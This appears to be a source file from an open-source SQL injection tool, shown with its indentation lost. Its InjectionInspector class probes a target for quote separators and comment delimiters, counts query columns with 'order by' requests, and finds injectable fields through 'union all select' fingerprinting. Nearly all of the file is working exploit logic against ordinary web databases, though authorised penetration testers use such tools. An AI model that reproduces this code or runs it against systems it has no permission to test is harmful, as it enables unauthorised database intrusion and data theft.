1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
|
#!/usr/bin/python3
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
# MA 02110-1301, USA.
#
# Developed by: Nasel(http://www.nasel.com.ar)
#
# Authors:
# Matías Fontanini
# Santiago Alessandri
# Gastón Traberg
from dbmsmoles import DbmsMole
from moleexceptions import StoppedQueryException, ConnectionException
from moleexceptions import SeparatorNotFound, CommentNotFound
from moleexceptions import ColumnNumberNotFound, InjectableFieldNotFound
class InjectionInspector:
# Returns a tuple (separator, parenthesis count)
def find_separator(self, mole):
separator_list = ['\'', '"', ' ']
equal_cmp = { '\'' : 'like', '"' : 'like', ' ' : '='}
separator = None
mole.stop_query = False
for parenthesis in range(0, 3):
output_manager.info('Trying injection using {0} parenthesis.'.format(parenthesis)).line_break()
mole.parenthesis = parenthesis
for sep in separator_list:
if mole.stop_query:
raise StoppedQueryException()
output_manager.info('Trying separator: ( {0} )'.format(sep))
mole.separator = sep
try:
req = mole.make_request(' and {sep}1{sep} ' + equal_cmp[sep] + ' {sep}1'.format(sep=sep))
except ConnectionException:
raise SeparatorNotFound()
if mole.analyser.is_valid(req):
# Validate the negation of the query
try:
req = mole.make_request(' and {sep}1{sep} ' + equal_cmp[sep] + ' {sep}0'.format(sep=sep))
except ConnectionException:
raise SeparatorNotFound()
if not mole.analyser.is_valid(req):
return (sep, parenthesis)
if not separator:
raise SeparatorNotFound()
# Returns a tuple (comment, parentesis count)
def find_comment_delimiter(self, mole):
#Find the correct comment delimiter
if mole._dbms_mole is None:
comment_list = ['#', '--', '/*', ' ']
else:
comment_list = mole._dbms_mole.comment_list
mole.stop_query = False
for parenthesis in range(0, 3):
output_manager.info('Trying injection using {0} parenthesis.'.format(parenthesis))
mole.parenthesis = parenthesis
for com in comment_list:
if mole.stop_query:
raise StoppedQueryException()
output_manager.info('Trying injection using comment: {0}'.format(com))
mole.comment = com
try:
req = mole.make_request(' order by 1')
except ConnectionException:
raise CommentNotFound()
if mole.analyser.node_content(req) != mole._syntax_error_content and not DbmsMole.is_error(req):
return (com, parenthesis)
mole.parenthesis = 0
raise CommentNotFound()
# Returns query column number
def find_column_number(self, mole):
#Find the number of columns of the query
#First get the content of needle in a wrong situation
try:
req = mole.make_request(' order by 15000')
except ConnectionException as ex:
raise ColumnNumberNotFound(str(ex))
content_of_needle = mole.analyser.node_content(req)
mole.stop_query = False
last = 2
try:
new_needle_content = mole.analyser.node_content(mole.make_request(' order by %d ' % (last,)))
except ConnectionException as ex:
raise ColumnNumberNotFound(str(ex))
while new_needle_content != content_of_needle and not DbmsMole.is_error(new_needle_content):
if mole.stop_query:
raise StoppedQueryException()
last *= 2
output_manager.info('Trying {0} columns'.format(last))
try:
new_needle_content = mole.analyser.node_content(mole.make_request(' order by %d ' % (last,)))
except ConnectionException as ex:
raise ColumnNumberNotFound(str(ex))
pri = last // 2
while pri < last:
if mole.stop_query:
raise StoppedQueryException()
medio = ((pri + last) // 2) + ((pri + last) & 1)
output_manager.info('Trying {0} columns'.format(medio))
try:
new_needle_content = mole.analyser.node_content(mole.make_request(' order by %d ' % (medio,)))
except ConnectionException as ex:
raise ColumnNumberNotFound(str(ex))
if new_needle_content != content_of_needle and not DbmsMole.is_error(new_needle_content):
pri = medio
else:
last = medio - 1
return pri
def _find_injectable_field_using(self, mole, dbms_mole):
base = 714
fingers = dbms_mole.injectable_field_fingers(mole.query_columns, base)
index = 0
for finger in fingers:
if mole.stop_query:
raise StoppedQueryException()
output_manager.info('Trying finger {0}/{1}'.format(index + 1, len(fingers)))
index += 1
hashes = finger.build_query()
to_search_hashes = finger.fingers_to_search()
hash_string = ",".join(hashes)
try:
req = mole.make_request(
" and 1=0 union all select " + hash_string + dbms_mole.field_finger_trailer()
)
except ConnectionException:
return None
injectable_fields = list(map(lambda x: int(x) - base, [hash_ for hash_ in to_search_hashes if hash_ in req]))
if len(injectable_fields) > 0:
output_manager.advance("Injectable fields found: [{0}]".format(', '.join(map(lambda x: str(x + 1), injectable_fields)))).line_break()
field = self.filter_injectable_fields(mole, dbms_mole, injectable_fields, finger)
if field is not None:
mole._dbms_mole = dbms_mole()
mole._dbms_mole.set_good_finger(finger)
return field
else:
output_manager.error('Failed to inject using these fields.').line_break()
return None
def find_injectable_field(self, mole):
mole.stop_query = False
if mole._dbms_mole is None:
for dbms_mole in mole.dbms_mole_list:
if mole.stop_query:
raise StoppedQueryException()
output_manager.info('Trying DBMS: {0}'.format(dbms_mole.dbms_name())).line_break()
field = self._find_injectable_field_using(mole, dbms_mole)
if field is not None:
output_manager.advance('Found DBMS: {0}'.format(dbms_mole.dbms_name())).line_break()
return field
else:
field = self._find_injectable_field_using(mole, mole._dbms_mole.__class__)
if field is not None:
return field
raise InjectableFieldNotFound()
def filter_injectable_fields(self, mole, dbms_mole_class, injectable_fields, finger):
for field in injectable_fields:
output_manager.info('Trying to inject in field {0}'.format(field + 1))
query = dbms_mole_class.field_finger_query(mole.query_columns, finger, field)
try:
req = mole.make_request(query)
except ConnectionException:
return None
if dbms_mole_class.field_finger(finger) in req:
return field
return None
|